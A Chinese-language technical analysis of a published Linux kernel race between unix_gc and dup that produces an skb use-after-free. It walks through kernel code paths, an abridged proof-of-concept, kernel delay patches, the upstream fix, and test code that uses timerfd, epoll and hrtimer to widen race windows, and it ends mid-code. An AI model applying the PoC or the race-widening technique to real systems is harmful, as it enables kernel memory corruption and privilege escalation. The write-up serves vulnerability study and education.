Linux 内核利用技巧 Racing against the clock

author: 熊潇 of IceSword Lab

概述

原文: Racing against the clock – hitting a tiny kernel race window

  • Part.1: 漏洞原理简述
  • Part.2: 对比较容易产生疑惑的地方增加了细节说明
  • Part.3: 针对文中提高 race 的技巧做了分析

Part.1

The bug & race

The kernel tries to figure out whether it can account for all references to some file by comparing the file’s refcount with the number of references from inflight SKBs (socket buffers). If they are equal, it assumes that the UNIX domain sockets subsystem effectively has exclusive access to the file because it owns all references.

The problem is that struct file can also be referenced from an RCU read-side critical section (which you can’t detect by looking at the refcount), and such an RCU reference can be upgraded into a refcounted reference using get_file_rcu() / get_file_rcu_many() by __fget_files() as long as the refcount is non-zero.

  • unix_gc() 的预期逻辑是: total_refsinflight_refs 相同就可以认为此时 file 是单独占有的,就可以把 skbfile 一起 free 掉
  • 下面代码 (3) 在 (1) 和 (2)中间执行则 race 成功
  • 如果 race 没有成功,__fget_files 那里就会发现 f_count 是 0 或者 file 是 NULL
  • 但是如果 race 成功的话,file->f_count__fget_files() 中会被加 1 ,在 unix_gc 后面的代码中就不会被释放 file 的内存,而只是把 f_count 减 1,这也意味着在 close() 之后依然可以 dup() 成功
1
2
3
4
5
6
7
8
9
10
11
12
13
dup() -> __fget_files()
file = files_lookup_fd_rcu(files, fd); // fdt->fd[fd] (1)
...
get_file_rcu_many(file, refs) // update: f_count+1 (2)

close() -> unix_gc()
list_for_each_entry_safe(u, next, &gc_inflight_list, link) {
total_refs = file_count(u->sk.sk_socket->file); // read f_count: 1 (3)
inflight_refs = atomic_long_read(&u->inflight); // inflight_refs: 1
...
if (total_refs == inflight_refs) { // compare
list_move_tail(&u->link, &gc_candidates);
...

unix_gc() 中 file 和 skb 没有同步释放可能造成的影响?

下面这个方式可以触发 skb UAF:

1
2
3
4
5
6
socketpair() // 获取 socket pair fds: 3, 4
sendmsg(4, 3) // 通过 fd 4 发送 fd 3
-> skb_queue_tail(&other->sk_receive_queue, skb); // other 是 fd 4 的 peer 也就是 fd 3, skb 保存了 fd 4 发送的内容也是 fd 3
close(3) | dup(3) // close 和 dup 存在 race,dup 如果 race 成功会返回 fd 3
recvmsg(3) // 通过 fd 3 接收 fd 4 发送的 skb
-> last = skb = skb_peek(&sk->sk_receive_queue); // 此时 skb 对应的内存已经被 free 了

skb uaf:

  • allocated in: sendmsg() -> unix_stream_sendmsg()
  • freed in: close() -> unix_gc()
  • uafed in: recvmsg() -> unix_stream_read_generic()

Part.2

SCM_RIGHTS unix socket

SCM_RIGHTS is a socket control message used for passing file descriptors between processes over a UNIX domain socket.

It allows a process to send an open file descriptor to another process, which can then use the file descriptor to read or write to the same file or device.

  • example

    • sender.c

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      #include <sys/socket.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <errno.h>
      #include <sys/un.h>

      int main(int argc, char *argv[]) {
      if (argc < 2) {
      printf("Usage: %s <file_path>\n", argv[0]);
      return 1;
      }

      char *file_path = argv[1];

      int sock = socket(AF_UNIX, SOCK_STREAM, 0);
      if (sock == -1) {
      perror("socket");
      return 1;
      }

      struct sockaddr_un addr;
      memset(&addr, 0, sizeof(addr));
      addr.sun_family = AF_UNIX;
      strncpy(addr.sun_path, "/tmp/file_transfer.sock", sizeof(addr.sun_path) - 1);

      if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
      perror("connect");
      return 1;
      }

      int fd = open(file_path, O_RDONLY);
      if (fd == -1) {
      perror("open");
      return 1;
      }

      struct msghdr msg = {0};
      char buf[CMSG_SPACE(sizeof(fd))];
      memset(buf, 0, sizeof(buf));

      struct iovec io = { .iov_base = "hello", .iov_len = 5 };
      msg.msg_iov = &io;
      msg.msg_iovlen = 1;

      msg.msg_control = buf;
      msg.msg_controllen = sizeof(buf);

      struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
      cmsg->cmsg_level = SOL_SOCKET;
      cmsg->cmsg_type = SCM_RIGHTS;
      cmsg->cmsg_len = CMSG_LEN(sizeof(fd));
      *((int *) CMSG_DATA(cmsg)) = fd;

      if (sendmsg(sock, &msg, 0) == -1) {
      perror("sendmsg");
      return 1;
      }

      close(fd);
      close(sock);

      return 0;
      }
    • recver.c

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      26
      27
      28
      29
      30
      31
      32
      33
      34
      35
      36
      37
      38
      39
      40
      41
      42
      43
      44
      45
      46
      47
      48
      49
      50
      51
      52
      53
      54
      55
      56
      57
      58
      59
      60
      61
      62
      63
      64
      65
      66
      67
      68
      69
      70
      71
      72
      73
      74
      75
      76
      77
      78
      79
      80
      #include <sys/socket.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <stdio.h>
      #include <stdlib.h>
      #include <string.h>
      #include <errno.h>
      #include <sys/un.h>

      int main(int argc, char *argv[]) {
      int sock = socket(AF_UNIX, SOCK_STREAM, 0);
      if (sock == -1) {
      perror("socket");
      return 1;
      }

      struct sockaddr_un addr;
      memset(&addr, 0, sizeof(addr));
      addr.sun_family = AF_UNIX;
      strncpy(addr.sun_path, "/tmp/file_transfer.sock", sizeof(addr.sun_path) - 1);

      if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) == -1) {
      perror("bind");
      return 1;
      }

      if (listen(sock, 1) == -1) {
      perror("listen");
      return 1;
      }

      int client_sock = accept(sock, NULL, NULL);
      if (client_sock == -1) {
      perror("accept");
      return 1;
      }

      char buf[256];
      struct iovec io = { .iov_base = buf, .iov_len = sizeof(buf) };
      struct msghdr msg = {
      .msg_iov = &io,
      .msg_iovlen = 1
      };

      char control[CMSG_SPACE(sizeof(int))];
      msg.msg_control = control;
      msg.msg_controllen = sizeof(control);

      if (recvmsg(client_sock, &msg, 0) == -1) {
      perror("recvmsg");
      return 1;
      }

      struct cmsghdr *cmsg = CMSG_FIRSTHDR(&msg);
      if (cmsg == NULL || cmsg->cmsg_type != SCM_RIGHTS) {
      printf("Invalid message\n");
      return 1;
      }

      int fd = *((int *) CMSG_DATA(cmsg));
      if (fd == -1) {
      perror("No file descriptor received");
      return 1;
      }

      // Do something with the received file descriptor
      char buf2[256];
      ssize_t bytes_read;
      while ((bytes_read = read(fd, buf2, sizeof(buf2))) > 0) {
      printf("%s", buf2);
      }

      close(fd);
      close(client_sock);
      close(sock);

      return 0;
      }

Unix socket sendmsg() and recvmsg()

  • 用于发送和接收 SCM_RIGHTS unix socket 数据的主要处理函数是: unix_stream_sendmsgunix_stream_read_generic
  • 特殊的地方在于:
    • sendmsg 的时候会创建 skb 并放在全局列表 gc_inflight_list 和接收端的 sk_receive_queue
    • 发送的 fd 对应的 file 会绑定到 skb 上(f_count 也会加 1)
    • recvmsg 的时候从 sk_receive_queueskb
    • unix_gc 则从 gc_inflight_listskb
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// net/socket.c
sendmsg() -> __sys_sendmsg() -> sock_sendmsg()-> sock_sendmsg_nosec()
-> // sock->ops->sendmsg
unix_stream_sendmsg() // struct unix_stream_ops
**__scm_send()**
scm_fp_copy()
fget_raw(fd)
...
__fget_files() // 每个被传递的 fd 引用加 1
other = unix_peer(sk);
skb = sock_alloc_send_pskb()
**unix_scm_to_skb()**
unix_attach_fds() // fd 与 skb 绑定
unix_inflight()
list_add_tail(&u->link, &**gc_inflight_list**); // unix_gc 处理的队列
**skb->destructor = unix_destruct_scm;** // 注册 skb destruct
**** skb_queue_tail(&other->**sk_receive_queue**, skb); // skb 直接放到 peer 的 sk_receive_queue 队列上
1
2
3
4
5
6
7
8
9
10
11
12
13
recvmsg() -> __sys_recvmsg() -> ...
-> // sock->ops->recvmsg
unix_stream_recvmsg()
unix_stream_read_generic()
last = skb = skb_peek(&sk->sk_receive_queue);// 取 skb
scm_recv() // 处理 fd
scm_detach_fds()
receive_fd_user() // 接收 fd
..
fd_install(new_fd, get_file(file));
__scm_destroy() // 释放 skb 绑定的 fd 引用
fput()
fput_many()

**struct sk_buff *skb, struct unix_sock *u, struct socket *sock, struct sock *skstruct file *file 之间的关系?**

1
2
3
4
5
6
7
8
9
struct socket *sock = &container_of(file->f_inode, 
struct socket_alloc, vfs_inode)->socket
struct sock *sk = sock->sk

struct unix_sock *u = (struct unix_sock *)sk

struct file *file = u->sk.sk_socket->file

struct file *file = (*(struct unix_skb_parms *)&((skb)->cb)).fp->fp[i]

unix_gc() 做了什么?

  • 遍历 gc_inflight_list 获取 unix_sock 对象
    • 把满足条件的 unix_sock 添加到 gc_candidates
    • 条件:unix_sock 的文件引用和 skb 引用值相同
  • 遍历 gc_candidates
    • 把满足条件的 skb 添加到 hitlist
  • 释放 hitlist 上的 skb 内存和与之绑定的 struc file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
unix_gc()
struct sk_buff_head hitlist;
...
list_for_each_entry_safe(u, next, &gc_inflight_list, link) {
total_refs = file_count(u->sk.sk_socket->file);
inflight_refs = atomic_long_read(&u->inflight);
if (total_refs == inflight_refs) {
list_move_tail(&u->link, &gc_candidates);
}
...

skb_queue_head_init(&hitlist);
list_for_each_entry(u, &gc_candidates, link)
scan_children(&u->sk, inc_inflight, &hitlist);
scan_inflight(&u->sk, func, hitlist);
__skb_queue_tail(hitlist, skb);
...
__skb_queue_purge(&hitlist);
kfree_skb(skb);

unix_gc() 中 file 和 skb 在哪里 free ?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unix_gc()
...
skb_queue_head_init(&hitlist);
list_for_each_entry(u, &gc_candidates, link) // 从gc_candidates取skb到hitlist
scan_children(&u->sk, inc_inflight, NULL);
scan_inflight(&u->sk, func, hitlist);
__skb_queue_tail(hitlist, skb);
...
__skb_queue_purge(&hitlist); // (4)
kfree_skb(skb);
...
**skb->destructor() // 在 sendmsg 设置
unix_destruct_scm()**
scm_destroy()
__scm_destroy()
**fput() // 如果 f_count 是 1 则减到 0 然后释放 file**
kfree_skbmem()
**kmem_cache_free(.., skb) // 释放 skb**

// unix_destruct_scm 在 sendmsg 设置
sendmsg()
__sys_sendmsg()
sock_sendmsg()
sock_sendmsg_nosec()
unix_stream_sendmsg() // struct unix_stream_ops
skb = sock_alloc_send_pskb()
unix_scm_to_skb()
**skb->destructor = unix_destruct_scm;**

unix_gc() 何时被调用?

  • close() 可以间接触发
    • 具体入口的 syscall_exit_to_user_mode() - __fput()
  • sendmsg() 也可以触发但只在队列满的时候
    • sendmsg() - wait_for_unix_gc()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
// close() 一个 f_count 为 1 的文件时触发
close()
close_fd()
filp_close()
fput()
fput_many(file, 1);
atomic_long_sub_and_test(refs, &file->f_count)
init_task_work(&file->f_u.fu_rcuhead, ____fput)
task_work_add(task, &file->f_u.fu_rcuhead, TWA_RESUME)
entry_SYSCALL_64
do_syscall_64
syscall_exit_to_user_mode
...
tracehook_notify_resume
task_work_run()
__fput()
sock_close() // (struct file *) ->f_op->release()
__sock_release()
unix_release() // (struct socket *) ->ops->release()
unix_release_sock()
**unix_gc()**
1
2
3
4
5
6
7
// 只有 inflight sockets 超过 UNIX_INFLIGHT_TRIGGER_GC(16000) 才会调用
sendmsg()
...
unix_stream_sendmsg()/unix_dgram_sendmsg()
wait_for_unix_gc()
if (unix_tot_inflight > UNIX_INFLIGHT_TRIGGER_GC && !gc_in_progress)
**unix_gc();**

dup() 的作用和实现原理?

  • 根据 fd 从 fd table 中获取 struct file *file
  • 如果 f_count 不为 0 则 file->f_count += 1
  • fd table 中新建一个条目指向 file
1
2
3
4
5
6
7
8
9
SYSCALL_DEFINE1(dup, unsigned int, fildes)
fget_raw()
__fget(fd, FMODE_PATH, 1)
__fget_files(current->files, fd, mask, refs)
file = files_lookup_fd_rcu(files, fd);// 根据 fd 从 fd table 中获取 struct file *file
get_file_rcu_many(file, refs)
atomic_long_add_unless(&(x)->f_count, (cnt), 0) // if not 0, file->f_count += 1
get_unused_fd_flags()
fd_install() // fd table 中新建一个条目指向 file

close() 的作用和实现原理?

  • 使 fd 重新可用
  • 把 fd table 中 fd 对应的条目删除(设置为 NULL)
  • fd table 中原来指向的 struct filef_count 减 1,如果减到 0 则释放 struct file 的内存
  • close 不一定会立马释放 struct file, 但是用户态不能再访问该 fd,比如dup(fd),read(fd) ..
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
close()
close_fd()
pick_file()
fdt = files_fdtable(files);
file = fdt->fd[fd];
**rcu_assign_pointer(fdt->fd[fd], NULL); // fd table 中 fd 对应的条目删除
__put_unused_fd(files, fd); // 使 fd 重新可用**
filp_close()
**fput()**
fput_many(file, 1); // fd table 中原来指向的 struct file 的 f_count 减 1
atomic_long_sub_and_test(refs, &file->f_count)
**init_task_work(&file->f_u.fu_rcuhead, ____fput)**
task_work_add(task, &file->f_u.fu_rcuhead, TWA_RESUME)

____fput()
__fput()
file_free()
file_free_rcu()
**kmem_cache_free(filp_cachep, f) // 如果减到 0 则释放 struct file 的内存**

增加 kernel delay patch 的 poc 如何 work ?

  • line-27 将 pair[0] f_count +1 并添加到 gc_inflight_listsk_receive_queue
  • line-29 和 line-43 用于触发 unix_gc() 调用, 因为需要一个 f_count 为 1 的 fdclose()
  • line-36 用于等待 resurrect_fn()->dup()->__fget_files() 调用进入 race window 拿到 struct file , 因为 line-37 会把 pair[0] 从 fd table 中移除。 usleep 的时间 100000 us 要小于 kernel patch 的 500ms
  • line-43 会在 __fget_files() 等待的期间执行 unix_gc() , 在执行到准备释放 skb 的代码时,会等待 line-11 的 dup() 完成。
  • dup() 完成后执行到 line-16 的 recvmsg() ,内核会等待 line-43 触发的 unix_gc() 完成 skb 的释放
  • unix_gc() 完成后,recvmsg() 继续执行拿到被释放的 skb,UAF

省略版 POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
1 void send_fd(int sock, int fd) {
2 ...
3 sendmsg(sock, &msg, 0);
4 }
5
6 int resurrect_fd = -1;
7 int resurrected_fd = -1;
8
9 void *resurrect_fn(void *arg) {
10 prctl(PR_SET_NAME, "SLOW-ME"); // tell kernel to inject mdelay()
11 resurrected_fd = dup(resurrect_fd);
12 prctl(PR_SET_NAME, "resurrect");
13
14 prctl(PR_SET_NAME, "SLOW-RECV");
15 ...
16 int recv_bytes = recvmsg(resurrected_fd, &msg, MSG_DONTWAIT);
17 prctl(PR_SET_NAME, "resurrect");
18
19 return NULL;
20 }
21
22 int main(void) {
23 /* create socketpair */
24 int pair[2];
25 socketpair(AF_UNIX, SOCK_STREAM, 0, pair);
26
27 send_fd(pair[1], pair[0]);
28
29 int trigger_sock = socket(AF_UNIX, SOCK_DGRAM, 0);
30
31 resurrect_fd = pair[0];
32
33 pthread_t resurrect_thread;
34 pthread_create(&resurrect_thread, NULL, resurrect_fn, NULL);
35
36 usleep(100000); /* wait for fget_raw() to see pointer */
37 close(pair[0]);
38
39 /*
40 * trigger unix GC; has to read file_count() before file inc
41 * but do hitlist kill after file inc
42 */
43 close(trigger_sock);
44
45 /* make sure dup() has really finished */
46 pthread_join(resurrect_thread, NULL);
47
48 }

kernel patch 增加三个 mdelay

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
@@ -850,6 +852,13 @@ static struct file *__fget_files(struct files_struct *files, unsigned int fd,
loop:
file = files_lookup_fd_rcu(files, fd);
if (file) {
+ if (strcmp(current->comm, "SLOW-ME") == 0) {
+ pr_warn("slowing lookup of fd %u to file 0x%lx with %ld refs\n",
+ fd, (unsigned long)file, file_count(file));
**+ mdelay(500);**
+ pr_warn("slowed lookup of fd %u to file 0x%lx with %ld refs\n",
+ fd, (unsigned long)file, file_count(file));
+ }

...
@@ -2631,6 +2633,12 @@ static int unix_stream_read_generic(struct unix_stream_read_state *state,
last = skb = skb_peek(&sk->sk_receive_queue);
last_len = last ? last->len : 0;

+ if (strcmp(current->comm, "SLOW-RECV") == 0) {
+ pr_warn("recvmsg: delaying stream receive\n");
+ mdelay(500);
+ pr_warn("recvmsg: delayed stream receive\n");
+ }
+
...
@@ -210,8 +212,11 @@ void unix_gc(void)
...
skb_queue_head_init(&hitlist);
+ if (strcmp(current->comm, "resurrect") == 0) {
+ pr_warn("unix: delaying hitlist setup\n");
+ mdelay(500);
+ pr_warn("unix: hitlist setup delay done\n");
+ }
list_for_each_entry(u, &gc_candidates, link)
scan_children(&u->sk, inc_inflight, &hitlist);

fixed patch 如何 work ?

  • 补丁效果:在 race window 期间,如果 fd 对应的 struct file 已经从 fd table 移除,则回退对 f_count 的操作,如果发现回退后变为 0 则直接释放 struct file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
diff --git a/fs/file.c b/fs/file.c
index 8627dacfc4246..ad4a8bf3cf109 100644
--- a/fs/file.c
+++ b/fs/file.c
@@ -858,6 +858,10 @@ loop:
file = NULL;
else if (!get_file_rcu_many(file, refs))
goto loop;
+ else if (files_lookup_fd_raw(files, fd) != file) {
+ fput_many(file, refs);
+ goto loop;
+ }
}
rcu_read_unlock();

Part.3

如何利用 hrtimer 扩大 race 成功率?

  • timerfd_create + timerfd_settime 可以在指定时间(纳秒)后触发 timer interrupt
  • timer interrupt handler 会调用 __wake_up_common 遍历 wait queue 并执行回调函数。这意味着 wait queue 越长,处在 interrupt context 的时间越长
  • 利用这一点可以让进程在 race window 中被中断,然后在另一个 CPU 上运行需要与之 race 的进程

wait queue item 在哪里添加和读取 ?

  • 每一个 EPOLL_CTL_ADD 会在 timer_fd 的 wait queue 上添加一个执行 ep_poll_callback 的 entry
  • timerfd_triggered 中 从 timer_fd 的 wait queue 中取出 entry
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// epoll_ctl(epoll_fds[i], EPOLL_CTL_ADD, timer_fds[j]

do_epoll_ctl() // 在 ep_ptable_queue_proc 中添加 wait_queue_enty
ep_insert(struct eventpoll *ep, ..
struct ep_pqueue epq;
init_poll_funcptr(&epq.pt, **ep_ptable_queue_proc**); // epq.pt._qproc = **ep_ptable_queue_proc**
ep_item_poll(epi, &epq.pt, 1);
vfs_poll
timerfd_poll // struct file_operations timerfd_fops.poll
struct timerfd_ctx *ctx = file->private_data;
poll_wait(file, &ctx->wqh, wait); // &ctx->wqh: whead, wait: &epq.pt, (include/linux/poll.h)
**ep_ptable_queue_proc**(struct file *file, wait_queue_head_t *whead, poll_table *pt)
struct epitem *epi = ep_item_from_epqueue(pt);
struct eppoll_entry *pwq;
...
pwq = kmem_cache_alloc(pwq_cache, GFP_KERNEL);
...
**init_waitqueue_func_entry(&pwq->wait, ep_poll_callback);**
...
**add_wait_queue(whead, &pwq->wait); // whead:** &ctx->wqh
...

struct ep_pqueue {
poll_table pt;
struct epitem *epi;
}

struct poll_table_struct {
poll_queue_proc _qproc; // void (*)(struct file *, wait_queue_head_t *, struct poll_table_struct *)
__poll_t _key;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
local_apic_timer_interrupt()
**hrtimer_interrupt()**
...
timerfd_tmrproc()
**timerfd_triggered()**
**spin_lock_irqsave(&ctx->wqh.lock, flags);** // 关中断
**** ctx->expired = 1;
ctx->ticks++;
wake_up_locked_poll(**&ctx->wqh**, EPOLLIN);
**__wake_up_common() // 遍历 wait queue, 执行 callback**
wait_queue_entry_t *curr, *next;
**list_for_each_entry_safe_from(curr, next, &wq_head->head, entry)**
ret = curr->func(curr, mode, wake_flags, key); // ep_poll_callback
spin_unlock_irqrestore(&ctx->wqh.lock, flags);

**timerfd_tmrproctimerfd_setup 中设置**

1
2
3
4
5
6
static int timerfd_setup(struct timerfd_ctx *ctx, int flags,
const struct itimerspec64 *ktmr)
..
hrtimer_init(&ctx->t.tmr, clockid, htmode);
hrtimer_set_expires(&ctx->t.tmr, texp);
ctx->t.tmr.function = timerfd_tmrproc;

**struct timerfd_ctx, struct file , struct hrtimer 之间的关系**

1
2
3
4
5
struct timerfd_ctx *ctx = file->private_data;

struct hrtimer *htmr = &ctx->t.tmr;

struct timerfd_ctx *ctx = container_of(htmr, struct timerfd_ctx, t.tmr);

测试代码:

向 wait queue 中添加 500 * 500 个 entry

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
#define _GNU_SOURCE

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/epoll.h>
#include <sys/timerfd.h>
#include <sched.h>
#include <err.h>

#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})

#define NUM_EPOLL_INSTANCES 500
#define NUM_DUP_FDS 500
#define NUM_TIMER_WAITERS (NUM_EPOLL_INSTANCES * NUM_DUP_FDS)

#define NSEC_PER_SEC 1000000000UL // 1s = 1000000000ns

void pin_task_to(int pid, int cpu) {
cpu_set_t cset;
CPU_ZERO(&cset);
CPU_SET(cpu, &cset);
SYSCHK(sched_setaffinity(pid, sizeof(cpu_set_t), &cset));
}
void pin_to(int cpu) { pin_task_to(0, cpu); }

struct timespec get_mono_time(void) {
struct timespec ts;
clock_gettime(CLOCK_MONOTONIC, &ts);
return ts;
}

void ts_add(struct timespec *ts, unsigned long nsecs) {
ts->tv_nsec += nsecs;
if (ts->tv_nsec >= NSEC_PER_SEC) {
ts->tv_sec++;
ts->tv_nsec -= NSEC_PER_SEC;
}
}

int main() {
pin_to(0);
int timerfd = timerfd_create(CLOCK_MONOTONIC, 0);
if (timerfd < 0) {
perror("timerfd_create");
return 1;
}

// 创建 epoll instances
int epoll_fds[NUM_EPOLL_INSTANCES];
for (int i = 0; i < NUM_EPOLL_INSTANCES; i++) {
epoll_fds[i] = epoll_create1(0);
if (epoll_fds[i] < 0) {
perror("epoll_create1");
return 1;
}
}

// dup timer fd
int timer_fds[NUM_DUP_FDS];
for (int i = 0; i < NUM_DUP_FDS; i++) {
timer_fds[i] = dup(timerfd);
if (timer_fds[i] < 0) {
perror("dup");
return 1;
}
}

// epoll_ctl EPOLL_CTL_ADD 添加到 wait queue
struct epoll_event ev = { 0 };
ev.events = EPOLLIN;
for (int i = 0; i < NUM_EPOLL_INSTANCES; i++) {
for (int j = 0; j < NUM_DUP_FDS; j++) {
ev.data.fd = timer_fds[j];
if (epoll_ctl(epoll_fds[i], EPOLL_CTL_ADD, timer_fds[j], &ev) < 0) {
perror("epoll_ctl");
return 1;
}
}
}

struct timespec base_time = get_mono_time();

struct itimerspec timer_value = { .it_value = base_time };
ts_add(&timer_value.it_value, 1000 * 1000 * 1000); // timer at +1s

if (timerfd_settime(timerfd, TFD_TIMER_ABSTIME, &timer_value, NULL) < 0) {
perror("timerfd_settime");
return 1;
}

for (int i = 0; i < NUM_EPOLL_INSTANCES; i++) {
int nfds = epoll_wait(epoll_fds[i], &ev, 1, -1);
if (nfds < 0) {
perror("epoll_wait");
return 1;
}
}

unsigned long value;
read(timerfd, &value, sizeof(value)) == sizeof(value);
printf("value: %ld\n", value);

for (int i = 0; i < NUM_EPOLL_INSTANCES; i++) {
close(epoll_fds[i]);
}
for (int i = 0; i < NUM_DUP_FDS; i++) {
close(timer_fds[i]);
}
close(timerfd);
return 0;

}

如何观测延迟效果?

在 GDB 中可以查看队列中的 entry,数量与设置的一致

1
2
3
4
5
6
7
8
b timerfd_triggered
set $head = &ctx.wqh.head
set $node = $head
while $node.next != $head
p $node.next
set $node = $node.next
end
p *$head

加一点 patch 用 rdtsc 可以粗略测量一下延迟效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
**0xffffffff81b8b67e <+49>:	rdtsc**
0xffffffff81b8b680 <+51>: shl rdx,0x20
0xffffffff81b8b684 <+55>: or rax,rdx
0xffffffff81b8b687 <+58>: lea r12,[rbx+0x88]
0xffffffff81b8b68e <+65>: mov r14,rax
0xffffffff81b8b691 <+68>: mov rdi,r12
0xffffffff81b8b694 <+71>: call 0xffffffff81bde9d0 <_raw_spin_lock_irqsave>
0xffffffff81b8b699 <+76>: inc QWORD PTR [rbx+0xa0]
0xffffffff81b8b6a0 <+83>: mov edx,0x1
0xffffffff81b8b6a5 <+88>: mov rdi,r12
0xffffffff81b8b6a8 <+91>: mov WORD PTR [rbx+0xac],0x1
0xffffffff81b8b6b1 <+100>: mov r13,rax
0xffffffff81b8b6b4 <+103>: mov esi,0x3
0xffffffff81b8b6b9 <+108>: call 0xffffffff810ad650 <__wake_up_locked_key>
0xffffffff81b8b6be <+113>: mov rsi,r13
0xffffffff81b8b6c1 <+116>: mov rdi,r12
0xffffffff81b8b6c4 <+119>: call 0xffffffff81bde5b0 <_raw_spin_unlock_irqrestore>
**0xffffffff81b8b6c9 <+124>: rdtsc**
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
diff --git a/fs/timerfd.c b/fs/timerfd.c
index e9c96a0c79f1..b919b24b4d48 100644
--- a/fs/timerfd.c
+++ b/fs/timerfd.c
@@ -64,11 +64,20 @@ static void timerfd_triggered(struct timerfd_ctx *ctx)
{
unsigned long flags;

+ u64 start_time, end_time;
+
+ pr_warn("[%s] %s enter\n", current->comm, __func__);
+
+ asm volatile ("rdtsc; shlq $32, %%rdx; orq %%rdx, %0"
+ : "=a"(start_time) :: "%rdx");
spin_lock_irqsave(&ctx->wqh.lock, flags);
ctx->expired = 1;
ctx->ticks++;
wake_up_locked_poll(&ctx->wqh, EPOLLIN);
spin_unlock_irqrestore(&ctx->wqh.lock, flags);
+ asm volatile ("rdtsc; shlq $32, %%rdx; orq %%rdx, %0"
+ : "=a"(end_time) :: "%rdx");
+ pr_warn("[%s] %s exit, %lld\n", current->comm, __func__, end_time - start_time);
}

系统正常运行的时候 tick 数大概在 3000 ~ 30000, 创建 500 * 500 个 entry 可以使cpu 运行时间增大 3~4 个数量级(测试虚拟机的CPU是单核 2000 MHz)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
[ 1134.053250] [swapper/0] timerfd_triggered exit, 2976
[ 1134.053250] [swapper/0] timerfd_triggered enter
[ 1134.053250] [swapper/0] timerfd_triggered exit, 3970
[ 1134.552271] [swapper/0] timerfd_triggered enter
[ 1134.552906] [swapper/0] timerfd_triggered exit, 11616
[ 1175.552958] [swapper/0] timerfd_triggered enter
[ 1175.553871] [swapper/0] timerfd_triggered exit, 32663
[ 1176.052796] [swapper/0] timerfd_triggered enter
[ 1176.053719] [swapper/0] timerfd_triggered exit, 29340
[ 1184.738834] [swapper/0] timerfd_triggered enter
**[ 1184.739757] [swapper/0] timerfd_triggered exit, 27116541 // 500 * 500
...**
[ 1588.076916] [swapper/0] timerfd_triggered enter
**[ 1588.077841] [swapper/0] timerfd_triggered exit, 28924883 // 500 * 500
...**
[ 1596.735608] [swapper/0] timerfd_triggered enter
**[ 1596.736503] [swapper/0] timerfd_triggered exit, 28029898 // 500 * 500**
..
[ 1222.384483] [swapper/0] timerfd_triggered enter
**[ 1222.385381] [swapper/0] timerfd_triggered exit, 8511668 // 100 * 500**
...
[ 1265.026284] [swapper/0] timerfd_triggered enter
**[ 1265.027208] [swapper/0] timerfd_triggered exit, 1202548 // 10 * 500**

一种观测代码被中断位置的方法

原文的附录:

I tried firing an interval timer at 100Hz (using timer_create()), with a signal handler that logs the PC register

代码实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <ucontext.h>
#include <sys/time.h>
#include <sys/user.h>
#include <time.h>
#include <sched.h>
#include <err.h>

#define SYSCHK(x) ({ \
typeof(x) __res = (x); \
if (__res == (typeof(x))-1) \
err(1, "SYSCHK(" #x ")"); \
__res; \
})

void pin_task_to(int pid, int cpu) {
cpu_set_t cset;
CPU_ZERO(&cset);
CPU_SET(cpu, &cset);
SYSCHK(sched_setaffinity(pid, sizeof(cpu_set_t), &cset));
}
void pin_to(int cpu) { pin_task_to(0, cpu); }

void timer_handler(int signum, siginfo_t *info, void *context) {
ucontext_t *ucontext = (ucontext_t *) context;
void *pc = (void *) ucontext->uc_mcontext.gregs[REG_RIP];
long rax = ucontext->uc_mcontext.gregs[REG_RAX];
printf("Timer fired, PC = %p, rax: %ld\n", pc, rax);
}

int main() {
pin_to(0);

